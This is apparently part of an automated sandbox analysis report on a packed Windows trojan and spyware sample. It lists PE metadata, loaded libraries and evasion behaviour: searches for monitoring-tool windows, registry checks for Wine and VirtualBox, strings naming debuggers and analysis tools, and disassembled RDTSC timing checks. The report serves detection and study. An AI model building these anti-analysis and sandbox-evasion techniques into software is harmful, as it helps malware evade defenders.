Source: u57m8aCdwb.exeStatic PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED
Source: u57m8aCdwb.exeStatic PE information: Section: krimtaup ZLIB complexity 0.9942812810107741
Source: classification engineClassification label: mal100.troj.spyw.evad.winEXE@1/0@8/2
Source: C:\Users\user\Desktop\u57m8aCdwb.exeCode function: 0_2_0050255D GetSystemInfo,GlobalMemoryStatusEx,GetDriveTypeA,GetDiskFreeSpaceExA,KiUserCallbackDispatcher,FindFirstFileW,FindNextFileW,K32EnumProcesses,0_2_0050255D
Source: C:\Users\user\Desktop\u57m8aCdwb.exeCode function: 0_2_005029FF FindFirstFileA,RegOpenKeyExA,CharUpperA,CreateToolhelp32Snapshot,QueryFullProcessImageNameA,CloseHandle,CreateToolhelp32Snapshot,CloseHandle,0_2_005029FF
Source: C:\Users\user\Desktop\u57m8aCdwb.exeMutant created: \Sessions\1\BaseNamedObjects\My_mutex
Source: C:\Users\user\Desktop\u57m8aCdwb.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
Source: C:\Users\user\Desktop\u57m8aCdwb.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: C:\Users\user\Desktop\u57m8aCdwb.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: C:\Users\user\Desktop\u57m8aCdwb.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: C:\Users\user\Desktop\u57m8aCdwb.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: u57m8aCdwb.exeReversingLabs: Detection: 47%
Source: u57m8aCdwb.exeString found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: u57m8aCdwb.exeString found in binary or memory: Unable to complete request for channel-process-startup
Source: C:\Users\user\Desktop\u57m8aCdwb.exeSection loaded: apphelp.dllJump to behavior
Source: C:\Users\user\Desktop\u57m8aCdwb.exeSection loaded: winmm.dllJump to behavior
Source: C:\Users\user\Desktop\u57m8aCdwb.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Users\user\Desktop\u57m8aCdwb.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Users\user\Desktop\u57m8aCdwb.exeSection loaded: cryptsp.dllJump to behavior
Source: C:\Users\user\Desktop\u57m8aCdwb.exeSection loaded: rsaenh.dllJump to behavior
Source: C:\Users\user\Desktop\u57m8aCdwb.exeSection loaded: dhcpcsvc6.dllJump to behavior
Source: C:\Users\user\Desktop\u57m8aCdwb.exeSection loaded: dhcpcsvc.dllJump to behavior
Source: C:\Users\user\Desktop\u57m8aCdwb.exeSection loaded: dnsapi.dllJump to behavior
Source: C:\Users\user\Desktop\u57m8aCdwb.exeSection loaded: napinsp.dllJump to behavior
Source: C:\Users\user\Desktop\u57m8aCdwb.exeSection loaded: pnrpnsp.dllJump to behavior
Source: C:\Users\user\Desktop\u57m8aCdwb.exeSection loaded: wshbth.dllJump to behavior
Source: C:\Users\user\Desktop\u57m8aCdwb.exeSection loaded: nlaapi.dllJump to behavior
Source: C:\Users\user\Desktop\u57m8aCdwb.exeSection loaded: mswsock.dllJump to behavior
Source: C:\Users\user\Desktop\u57m8aCdwb.exeSection loaded: winrnr.dllJump to behavior
Source: C:\Users\user\Desktop\u57m8aCdwb.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Users\user\Desktop\u57m8aCdwb.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Users\user\Desktop\u57m8aCdwb.exeSection loaded: wldp.dllJump to behavior
Source: C:\Users\user\Desktop\u57m8aCdwb.exeSection loaded: windowscodecs.dllJump to behavior
Source: C:\Users\user\Desktop\u57m8aCdwb.exeSection loaded: napinsp.dllJump to behavior
Source: C:\Users\user\Desktop\u57m8aCdwb.exeSection loaded: pnrpnsp.dllJump to behavior
Source: C:\Users\user\Desktop\u57m8aCdwb.exeSection loaded: wshbth.dllJump to behavior
Source: C:\Users\user\Desktop\u57m8aCdwb.exeSection loaded: nlaapi.dllJump to behavior
Source: C:\Users\user\Desktop\u57m8aCdwb.exeSection loaded: winrnr.dllJump to behavior
Source: C:\Users\user\Desktop\u57m8aCdwb.exeSection loaded: kernel.appcore.dllJump to behavior
Source: u57m8aCdwb.exeStatic file information: File size 4455936 > 1048576
Source: u57m8aCdwb.exeStatic PE information: Raw size of is bigger than: 0x100000 < 0x283400
Source: u57m8aCdwb.exeStatic PE information: Raw size of krimtaup is bigger than: 0x100000 < 0x1b8e00

Data Obfuscation

barindex
Detected unpacking (changes PE section rights)
Source: C:\Users\user\Desktop\u57m8aCdwb.exeUnpacked PE file: 0.2.u57m8aCdwb.exe.500000.0.unpack :EW;.rsrc:W;.idata :W; :EW;krimtaup:EW;xiywmuay:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;krimtaup:EW;xiywmuay:EW;.taggant:EW;
Source: initial sampleStatic PE information: section where entry point is pointing to: .taggant
Source: u57m8aCdwb.exeStatic PE information: real checksum: 0x448081 should be: 0x44a0f6
Source: u57m8aCdwb.exeStatic PE information: section name:
Source: u57m8aCdwb.exeStatic PE information: section name: .idata
Source: u57m8aCdwb.exeStatic PE information: section name:
Source: u57m8aCdwb.exeStatic PE information: section name: krimtaup
Source: u57m8aCdwb.exeStatic PE information: section name: xiywmuay
Source: u57m8aCdwb.exeStatic PE information: section name: .taggant
Source: C:\Users\user\Desktop\u57m8aCdwb.exeCode function: 0_3_01A2A926 push ecx; iretd 0_3_01A2A92D
Source: C:\Users\user\Desktop\u57m8aCdwb.exeCode function: 0_3_01A2A926 push ecx; iretd 0_3_01A2A92D
Source: C:\Users\user\Desktop\u57m8aCdwb.exeCode function: 0_3_01A2A926 push ecx; iretd 0_3_01A2A92D
Source: C:\Users\user\Desktop\u57m8aCdwb.exeCode function: 0_3_01A1FE38 push eax; ret 0_3_01A1FE39
Source: C:\Users\user\Desktop\u57m8aCdwb.exeCode function: 0_3_01A1FE38 push eax; ret 0_3_01A1FE39
Source: C:\Users\user\Desktop\u57m8aCdwb.exeCode function: 0_3_01A2A926 push ecx; iretd 0_3_01A2A92D
Source: C:\Users\user\Desktop\u57m8aCdwb.exeCode function: 0_3_01A2A926 push ecx; iretd 0_3_01A2A92D
Source: C:\Users\user\Desktop\u57m8aCdwb.exeCode function: 0_3_01A2A926 push ecx; iretd 0_3_01A2A92D
Source: C:\Users\user\Desktop\u57m8aCdwb.exeCode function: 0_3_01A1FE38 push eax; ret 0_3_01A1FE39
Source: C:\Users\user\Desktop\u57m8aCdwb.exeCode function: 0_3_01A1FE38 push eax; ret 0_3_01A1FE39
Source: C:\Users\user\Desktop\u57m8aCdwb.exeCode function: 0_3_01A2A926 push ecx; iretd 0_3_01A2A92D
Source: C:\Users\user\Desktop\u57m8aCdwb.exeCode function: 0_3_01A2A926 push ecx; iretd 0_3_01A2A92D
Source: C:\Users\user\Desktop\u57m8aCdwb.exeCode function: 0_3_01A2A926 push ecx; iretd 0_3_01A2A92D
Source: C:\Users\user\Desktop\u57m8aCdwb.exeCode function: 0_3_01A1FE38 push eax; ret 0_3_01A1FE39
Source: C:\Users\user\Desktop\u57m8aCdwb.exeCode function: 0_3_01A1FE38 push eax; ret 0_3_01A1FE39
Source: C:\Users\user\Desktop\u57m8aCdwb.exeCode function: 0_2_008841D0 push eax; mov dword ptr [esp], edx0_2_008841D5
Source: C:\Users\user\Desktop\u57m8aCdwb.exeCode function: 0_2_00582340 push eax; mov dword ptr [esp], 00000000h0_2_00582343
Source: C:\Users\user\Desktop\u57m8aCdwb.exeCode function: 0_2_005BC7F0 push eax; mov dword ptr [esp], 00000000h0_2_005BC743
Source: C:\Users\user\Desktop\u57m8aCdwb.exeCode function: 0_2_00540AC0 push eax; mov dword ptr [esp], 00000000h0_2_00540AC4
Source: C:\Users\user\Desktop\u57m8aCdwb.exeCode function: 0_2_00561430 push eax; mov dword ptr [esp], 00000000h0_2_00561433
Source: u57m8aCdwb.exeStatic PE information: section name: krimtaup entropy: 7.9553189741670245

Boot Survival

barindex
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Source: C:\Users\user\Desktop\u57m8aCdwb.exeWindow searched: window name: FilemonClassJump to behavior
Source: C:\Users\user\Desktop\u57m8aCdwb.exeWindow searched: window name: PROCMON_WINDOW_CLASSJump to behavior
Source: C:\Users\user\Desktop\u57m8aCdwb.exeWindow searched: window name: RegmonClassJump to behavior
Source: C:\Users\user\Desktop\u57m8aCdwb.exeWindow searched: window name: FilemonClassJump to behavior
Source: C:\Users\user\Desktop\u57m8aCdwb.exeWindow searched: window name: PROCMON_WINDOW_CLASSJump to behavior
Source: C:\Users\user\Desktop\u57m8aCdwb.exeWindow searched: window name: RegmonclassJump to behavior
Source: C:\Users\user\Desktop\u57m8aCdwb.exeWindow searched: window name: FilemonclassJump to behavior
Source: C:\Users\user\Desktop\u57m8aCdwb.exeWindow searched: window name: PROCMON_WINDOW_CLASSJump to behavior

Malware Analysis System Evasion

barindex
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Source: C:\Users\user\Desktop\u57m8aCdwb.exeFile opened: HKEY_CURRENT_USER\Software\WineJump to behavior
Source: C:\Users\user\Desktop\u57m8aCdwb.exeFile opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__Jump to behavior
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Source: u57m8aCdwb.exe, 00000000.00000003.2229720908.0000000007570000.00000004.00001000.00020000.00000000.sdmp, u57m8aCdwb.exe, 00000000.00000002.2642863152.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpBinary or memory string: PROCMON.EXE
Source: u57m8aCdwb.exe, 00000000.00000003.2229720908.0000000007570000.00000004.00001000.00020000.00000000.sdmp, u57m8aCdwb.exe, 00000000.00000002.2642863152.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpBinary or memory string: X64DBG.EXE
Source: u57m8aCdwb.exe, 00000000.00000003.2229720908.0000000007570000.00000004.00001000.00020000.00000000.sdmp, u57m8aCdwb.exe, 00000000.00000002.2642863152.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpBinary or memory string: WINDBG.EXE
Source: u57m8aCdwb.exe, 00000000.00000002.2642863152.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpBinary or memory string: SYSINTERNALSNUM_PROCESSORNUM_RAMNAMEALLFREEDRIVERSNUM_DISPLAYSRESOLUTION_XRESOLUTION_Y\*RECENT_FILESPROCESSESUPTIME_MINUTESC:\WINDOWS\SYSTEM32\VBOX*.DLL01VBOX_FIRSTSYSTEM\CONTROLSET001\SERVICES\VBOXSFVBOX_SECONDC:\USERS\PUBLIC\PUBLIC_CHECKWINDBG.EXEDBGWIRESHARK.EXEPROCMON.EXEX64DBG.EXEIDA.EXEDBG_SECDBG_THIRDYADROINSTALLED_APPSSOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALLSOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL%D%S\%SDISPLAYNAMEAPP_NAMEINDEXCREATETOOLHELP32SNAPSHOT FAILED.
Source: u57m8aCdwb.exe, 00000000.00000003.2229720908.0000000007570000.00000004.00001000.00020000.00000000.sdmp, u57m8aCdwb.exe, 00000000.00000002.2642863152.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpBinary or memory string: WIRESHARK.EXE
Tries to detect virtualization through RDTSC time measurements
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: C30186 second address: C3018C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: C3018C second address: C301AF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF114F02989h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: C301AF second address: C301B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: C301B3 second address: C301B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DB0CD9 second address: DB0CEE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF1148823D0h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DB0CEE second address: DB0D01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DB0D01 second address: DB0D18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF1148823D3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DB0D18 second address: DB0D22 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FF114F02976h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DB0D22 second address: DB0D28 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DB129A second address: DB12A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DB3B6F second address: DB3B73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DB3B73 second address: DB3B79 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DB3B79 second address: DB3BEB instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor dword ptr [esp], 0A64EBC3h 0x0000000f and cx, 4B78h 0x00000014 push 00000003h 0x00000016 push 00000000h 0x00000018 push edx 0x00000019 call 00007FF1148823C8h 0x0000001e pop edx 0x0000001f mov dword ptr [esp+04h], edx 0x00000023 add dword ptr [esp+04h], 0000001Bh 0x0000002b inc edx 0x0000002c push edx 0x0000002d ret 0x0000002e pop edx 0x0000002f ret 0x00000030 sbb cx, 6D15h 0x00000035 push 00000000h 0x00000037 push 00000003h 0x00000039 call 00007FF1148823C9h 0x0000003e jns 00007FF1148823CCh 0x00000044 pushad 0x00000045 pushad 0x00000046 popad 0x00000047 push edx 0x00000048 pop edx 0x00000049 popad 0x0000004a push eax 0x0000004b push eax 0x0000004c push edx 0x0000004d jmp 00007FF1148823D8h 0x00000052 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DB3BEB second address: DB3BF5 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FF114F0297Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DB3BF5 second address: DB3C1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a jmp 00007FF1148823D1h 0x0000000f mov eax, dword ptr [eax] 0x00000011 ja 00007FF1148823D4h 0x00000017 push eax 0x00000018 push edx 0x00000019 push edx 0x0000001a pop edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DB3C1C second address: DB3C34 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FF114F02976h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jno 00007FF114F02976h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DB3C34 second address: DB3C3A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DB3C3A second address: DB3C82 instructions: 0x00000000 rdtsc 0x00000002 je 00007FF114F0297Ch 0x00000008 jl 00007FF114F02976h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pop eax 0x00000011 xor edx, 5E8139DCh 0x00000017 lea ebx, dword ptr [ebp+12457923h] 0x0000001d push 00000000h 0x0000001f push ebx 0x00000020 call 00007FF114F02978h 0x00000025 pop ebx 0x00000026 mov dword ptr [esp+04h], ebx 0x0000002a add dword ptr [esp+04h], 0000001Ch 0x00000032 inc ebx 0x00000033 push ebx 0x00000034 ret 0x00000035 pop ebx 0x00000036 ret 0x00000037 push eax 0x00000038 push eax 0x00000039 push edx 0x0000003a push eax 0x0000003b pushad 0x0000003c popad 0x0000003d pop eax 0x0000003e rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DB3D0B second address: DB3D10 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DB3D10 second address: DB3D28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jnp 00007FF114F0297Ch 0x00000012 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DC5B8A second address: DC5B8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DD4B86 second address: DD4B99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 jbe 00007FF114F0297Ch 0x0000000d js 00007FF114F02976h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DD4B99 second address: DD4BA5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007FF1148823C6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DD4BA5 second address: DD4BA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DD4BA9 second address: DD4BAF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DD2A98 second address: DD2A9C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DD2A9C second address: DD2AB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FF1148823C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jp 00007FF1148823C6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DD2AB0 second address: DD2AC9 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 ja 00007FF114F02976h 0x0000000f jno 00007FF114F02976h 0x00000015 popad 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DD2C63 second address: DD2C67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DD2C67 second address: DD2C9E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007FF114F0297Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FF114F02980h 0x00000012 jmp 00007FF114F02985h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DD2C9E second address: DD2CAA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DD2CAA second address: DD2CB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DD2F88 second address: DD2F8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DD3381 second address: DD3391 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jo 00007FF114F02980h 0x0000000b push ebx 0x0000000c push esi 0x0000000d pop esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DD3503 second address: DD3509 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DD3509 second address: DD350D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DD350D second address: DD3511 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DD3511 second address: DD351F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007FF114F0298Ah 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DD43E8 second address: DD43EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DD45C4 second address: DD45EA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jmp 00007FF114F02981h 0x0000000c pushad 0x0000000d popad 0x0000000e pop ecx 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push edi 0x00000013 jc 00007FF114F02976h 0x00000019 pop edi 0x0000001a rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DD45EA second address: DD45FC instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FF1148823CCh 0x00000008 jc 00007FF1148823C6h 0x0000000e push eax 0x0000000f push edx 0x00000010 push edx 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DD45FC second address: DD4606 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FF114F02976h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DD4A20 second address: DD4A2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FF1148823C6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DA3EF7 second address: DA3EFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DA3EFC second address: DA3F04 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DA3F04 second address: DA3F08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DA3F08 second address: DA3F2E instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FF1148823C6h 0x00000008 jmp 00007FF1148823D7h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push edx 0x00000010 push esi 0x00000011 pop esi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DDBE9A second address: DDBEC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 jmp 00007FF114F0297Ah 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FF114F02986h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DDC50B second address: DDC54C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF1148823CCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push eax 0x0000000e jmp 00007FF1148823D0h 0x00000013 pop eax 0x00000014 mov eax, dword ptr [eax] 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 jmp 00007FF1148823CFh 0x0000001e jnp 00007FF1148823C6h 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DDC54C second address: DDC57D instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FF114F0297Ch 0x00000008 js 00007FF114F02976h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 jmp 00007FF114F02983h 0x0000001c jno 00007FF114F02976h 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DE1DF0 second address: DE1DFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FF1148823C6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DE22BF second address: DE22C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DE22C3 second address: DE22C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DE2CA1 second address: DE2CA5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
